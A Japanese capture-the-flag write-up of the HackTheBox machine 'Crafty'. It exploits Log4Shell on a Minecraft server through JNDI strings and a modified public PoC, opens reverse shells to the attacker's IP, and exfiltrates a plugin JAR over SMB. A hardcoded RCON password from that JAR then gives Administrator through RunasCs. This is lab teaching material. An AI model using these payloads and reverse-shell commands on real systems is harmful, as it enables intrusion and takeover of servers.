HackTheBox Crafty WriteUp

今回はHackTheBoxのEasyマシン「Crafty」のWriteUpです！
名前からして何かを作る？ようなマシンなのでしょうか。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/4c5e3888-f239-5561-ad4b-6c0428c9bc19.png)


グラフはいつものEasyマシンですね。
評価からして癖が強そうなのが心配ですが。。。サクッと攻略目指して頑張ります！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Crafty

### 列挙

それでは攻略を開始していきましょう。
まずは```nmap```から実行します。

```bash
+[~/crafty]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.249

PORT      STATE SERVICE   VERSION
80/tcp    open  http      Microsoft IIS httpd 10.0
25565/tcp open  minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
```

80番と25565番が開いていました。25565番を見てみると、Minecraftのサーバであると表示されていますが、あのゲームのMineCraftでしょうか。。
とりあえず80番を見てみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/51cccb82-afbf-e3c8-e84a-b0c2864b99a8.png)

おおお！MineCraftのページが表示されました。マシン名の「Crafty」はMineCraftからきていたようです。
ページには```play.crafty.htb```というサブドメインが表示されているので、アクセスしてみましたが、同じページが表示されました。

### Log4Shell

ブラウザからは特に情報を得ることができなかったので、バージョンに脆弱性が公開されていないか調べることにしました。MineCraftの「1.16.5」で検索すると以下の記事を発見しました。

https://software-sinner.medium.com/exploiting-minecraft-servers-log4j-ddac7de10847

なんと私の大好きな脆弱性であるLog4Shellが存在するようです。
記事の中で攻撃フローやPoCも紹介されていますが、一つだけ問題があります。それは記事では```tlauncher```というツールを使用している点です。できればCLIで攻撃をしたいと考えた私はコンソールからMineCraftにアクセスできないか調べました。
実際、MineCraftに関するツールは数多く存在し、以下のツールも発見しました。

https://github.com/MCCTeam/Minecraft-Console-Client

では、GitHubのリリースページから```MinecraftClient-20240415-263-linux-x64```をダウンロードし、実行していきます。

```bash
+[~/crafty]
(σ▰>∇<)σ<10.10.14.8>$ ./MinecraftClient-20240415-263-linux-x64 

Minecraft Console Client v1.20.4 - for MC 1.4.6 to 1.20.4 - Github.com/MCCTeam
GitHub build 263, built on 2024-04-15 from commit 403284c
Settings file MinecraftClient.ini has been generated.

MCC is running with default settings.
Login :
>
```

ログインするために、ユーザ名の入力が求められました。適当に入力していきましょう。

```bash
Login :
Password(invisible): 
```

続いてパスワードが求められます。こちらは何も入力せずに進みます。

```bash
Login :
Password(invisible): 
You chose to run in offline mode.
Server IP : 
>
```

パスワードを入力しないことで、オフラインモードで実行されます。
続いてIPアドレスが求められているので、MineCraftのサーバである```crafty.htb```を入力しておきます。

```bash
Login :
Password(invisible): 
You chose to run in offline mode.
Server IP : 
Resolving crafty.htb...
Retrieving Server Info...
Server version : 1.16.5 (protocol v754)
[MCC] Version is supported.
Logging in...
[MCC] Server is in offline mode.
[MCC] Server was successfully joined.
Type '/quit' to leave the server.
>
```

サーバへのJoinに成功しました。
余談ですが、私は初めてコンソールによるMineCraftへのJoinを行ったので、しばらく遊びました。時にはWitchに倒されることもありました笑

```bash
0xsh was killed by Witch using magic
[MCC] You are dead. Type '/respawn' to respawn.
```

倒された場合は、```/respawn```を入力しリスポーンする必要があります。
では、気を取り直して攻撃を試していきます。Log4Shellを知っている人には定番ですが、Log4Shellに脆弱であるかどうかを試すときはJNDIの文字列を使用します。

```bash
${jndi:ldap://10.10.14.8/0xsh}
```

これを入力していきますが、その前に待ち受けを作成しておきましょう。

```bash
+[~/crafty]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 389          
listening on [any] 389 ...
```

この待ち受けに接続がくると、Log4Shellに脆弱であることが確定します。
JNDIの文字列を入力し、Enterを押下してみます。

```bash
> ${jndi:ldap://10.10.14.8/0xsh}
[MCC] Connection has been lost.
```

しばらくすると、接続が切れたというメッセージが表示されます。
待ち受けも確認してみましょう。

```bash
+[~/crafty]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 389          
listening on [any] 389 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.249] 49679
0
 `�
```

接続が確認できています！Log4Shellに脆弱であることがわかりました。
あとは、脆弱性を悪用しシェルを取得するだけです。先ほどあげた記事のPoCを使用しましょう。

https://github.com/kozmer/log4j-shell-poc?source=post_page-----ddac7de10847--------------------------------

よく使われるPoCですね。PoCを使う前の注意点が2つあります。
まず1つ目が「Javaのバージョンを合わせる必要があること」です。PoCのページにバージョンを合わせる方法が書いてあるので、参考にしてバージョンを合わせましょう。

```bash
+[~/crafty]
(σ▰>∇<)σ<10.10.14.8>$ tar -xf jdk-8u20-linux-x64.tar.gz  
```

続いて、PoCをcloneします。

```bash
+[~/crafty]
(σ▰>∇<)σ<10.10.14.8>$ git clone https://github.com/kozmer/log4j-shell-poc.git
Cloning into 'log4j-shell-poc'...
remote: Enumerating objects: 52, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 52 (delta 0), reused 1 (delta 0), pack-reused 40
Receiving objects: 100% (52/52), 38.74 MiB | 6.69 MiB/s, done.
Resolving deltas: 100% (7/7), done.
```

Log4ShellのPoCは、PoCのフォルダ内にある```jdk1.8.0_20```を探索するので移動させておきましょう。

```bash
+[~/crafty]
(σ▰>∇<)σ<10.10.14.8>$ mv jdk1.8.0_20 log4j-shell-poc 
```

これで1つ目の注意点はクリアです。
では、2つ目の注意点です。2つ目は「Linux用のPoCをWindows用に変更すること」です。難しく聞こえますが、簡単です。PoCでは実行時に```/bin/sh```が指定されていますが、それを```cmd.exe```に変更するだけです。
ファイルは```poc.py```です。

```
+[~/crafty/log4j-shell-poc]
(σ▰>∇<)σ<10.10.14.8>$ nano poc.py  

def generate_payload(userip: str, lport: int) -> None:
    program = """
import java.io.IOException;

<...>

    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="/bin/sh"; # <- cmd.exe 
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();

<...>
```

ここまでで準備は完了です。

## svc_minecraft としてのシェル

それでは実行していきましょう。まずLog4ShellのPoCを実行し、JNDIの文字列を作成します。実行方法はGitHubのページを参考にしてください。

```bash
+[~/crafty/log4j-shell-poc]
(σ▰>∇<)σ<10.10.14.8>$ python3 poc.py --userip 10.10.14.8 --webport 8000 --lport 2121

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://10.10.14.8:1389/a}

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389
```

実行に成功し、JNDIの文字列が出力されました。
この文字列を入力する前にシェルの待ち受けを作成しておきます。

```bash
+[~/crafty]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121         
listening on [any] 2121 ...
```

待ち受けが作成できたら、JNDIの文字列をMineCraftのターミナルに入力していきましょう。

```bash
> ${jndi:ldap://10.10.14.8:1389/a}
```

特に出力はないですね。待ち受けを確認してみると...

```
+[~/crafty]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121         
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.249] 49684
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\users\svc_minecraft\server>whoami
crafty\svc_minecraft
```

シェルを取得することに成功しました！

```
c:\Users\svc_minecraft\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is C419-63F6

 Directory of c:\Users\svc_minecraft\Desktop

02/05/2024  07:02 AM    <DIR>          .
02/05/2024  07:02 AM    <DIR>          ..
06/15/2024  06:44 PM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,693,588,480 bytes free
```

ユーザフラグも取得できました！

### 権限昇格

それではここから権限昇格を目指していきます。
まずは権限を確認しておきましょう。

```
PS C:\Users\svc_minecraft\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```

特に権限はなさそうです。
グループも確認してみましたが、特に怪しいグループには所属していませんでした。
内部を探索していると、興味深いファイルを発見しました。

```
PS C:\Users\svc_minecraft\server\plugins> dir

    Directory: C:\Users\svc_minecraft\server\plugins

Mode                LastWriteTime         Length Name         
----                -------------         ------ ----          
-a----       10/27/2023   2:48 PM           9996 playercounter-1.0-SNAPSHOT.jar  
```

```plugins```ディレクトリの中に```playercounter-1.0-SNAPSHOT.jar```というJARファイルがあります。おそらくプラグインの一部であると思われるので、少しGoogleで調べてみましたが似たような名前のものはあれど、完全に同じものはないようです。
つまりこのJARファイルは「Crafty」独自のものであるようです。

### Reverse Engineering

独自のJARファイルは権限昇格へのつながるものとして重要です。逆コンパイルすることでコードを確認し脆弱性または認証情報が見つかるか試してみましょう。
逆コンパイルするにはローカルにファイルを送る必要があるので、SMBサーバを起動させます。

```bash
+[~/crafty]
(σ▰>∇<)σ<10.10.14.8>$ impacket-smbserver -smb2support share . -smb2support -username sh -password sh
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

起動出来たら、共有をマウントさせます。

```
PS C:\Users\svc_minecraft\server\plugins> net use \\10.10.14.8\share /u:sh sh
The command completed successfully.
```

これで共有へアクセスできるようになったので、ファイルをコピーしましょう。

```
PS C:\Users\svc_minecraft\server\plugins> copy .\playercounter-1.0-SNAPSHOT.jar \\10.10.14.8\share\
```

コピーできたら、```jd-gui```を使用して逆コンパイルしていきます。

```bash
+[/opt/original]
(σ▰>∇<)σ<10.10.14.8>$ java -jar jd-gui-1.6.6.jar /home/kali/crafty/playercounter-1.0-SNAPSHOT.jar 
```

逆コンパイルすると、以下のような構成を確認できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/aae6b750-ce41-e000-3f75-ed517d440b67.png)

色々とファイルがありますが、特に気になるのは```htb.crafty.playercounter```です。
開いてみると、```Playercounter.class```が存在していました。コードは以下の通りです。

```java
package htb.crafty.playercounter;

import java.io.IOException;
import java.io.PrintWriter;
import net.kronos.rkon.core.Rcon;
import net.kronos.rkon.core.ex.AuthenticationException;
import org.bukkit.plugin.java.JavaPlugin;

public final class Playercounter extends JavaPlugin {
  public void onEnable() {
    Rcon rcon = null;
    try {
      rcon = new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes());
    } catch (IOException e) {
      throw new RuntimeException(e);
    } catch (AuthenticationException e2) {
      throw new RuntimeException(e2);
    } 
    String result = null;
    try {
      result = rcon.command("players online count");
      PrintWriter writer = new PrintWriter("C:\\inetpub\\wwwroot\\playercount.txt", "UTF-8");
      writer.println(result);
    } catch (IOException e3) {
      throw new RuntimeException(e3);
    } 
  }
  
  public void onDisable() {}
}
```

接続時に使用されているパスワードが確認できました！

## Administrator としてのシェル

では、取得したパスワードで```Administrator```のシェルが取得できるか試してみましょう。
今回のターゲットはWINRMやSMBが動作していないので、```runas```を使用します。
実行前に、待ち受けを忘れないでください。

```bash
+[~/crafty]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2122
listening on [any] 2122 ...
```

待ち受けが開始できたら、```runas```を実行しましょう。

```
PS C:\Users\Public\Downloads> .\RunasCS.exe Administrator s67u84zKq8IXw cmd -r 10.10.14.8:2122
.\RunasCS.exe Administrator s67u84zKq8IXw cmd -r 10.10.14.8:2122

[+] Running in session 1 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: WinSta0\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 2948 created in background.
```

どうやらパスワードは正しいみたいです。実行に成功しました。
待ち受けを確認しましょう。

```
+[~/crafty]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2122
listening on [any] 2122 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.249] 49688
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
crafty\administrator
```

権限が昇格しています！

```
C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is C419-63F6

 Directory of C:\Users\Administrator\Desktop

02/05/2024  07:05 AM    <DIR>          .
02/05/2024  07:05 AM    <DIR>          ..
06/15/2024  06:44 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,541,753,856 bytes free
```

ルートフラグも取得し、完全攻略達成です！

### 攻略を終えて

今回のマシンはMineCraftのサーバに対する攻撃ということで、いつもとは違った面白さがありました。それこそターミナルからMineCraftにアクセスできるなんて知りませんでしたし、接続中にスケルトンやウィッチに倒されるなんてことも面白い要素の一つかなと思いました。ただ、ターミナルを知らない人はクライアントアプリケーションが必要だったり、途中途中で接続しなおしが必要だったりする点が評価を下げている理由かなとも思いました。
攻撃フロー自体はとても楽しく、脆弱性も難しいものではなかったのでサクッと攻略できました。私の好きなLog4Shellだったというのもあり、個人的には好きなマシンです。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました～！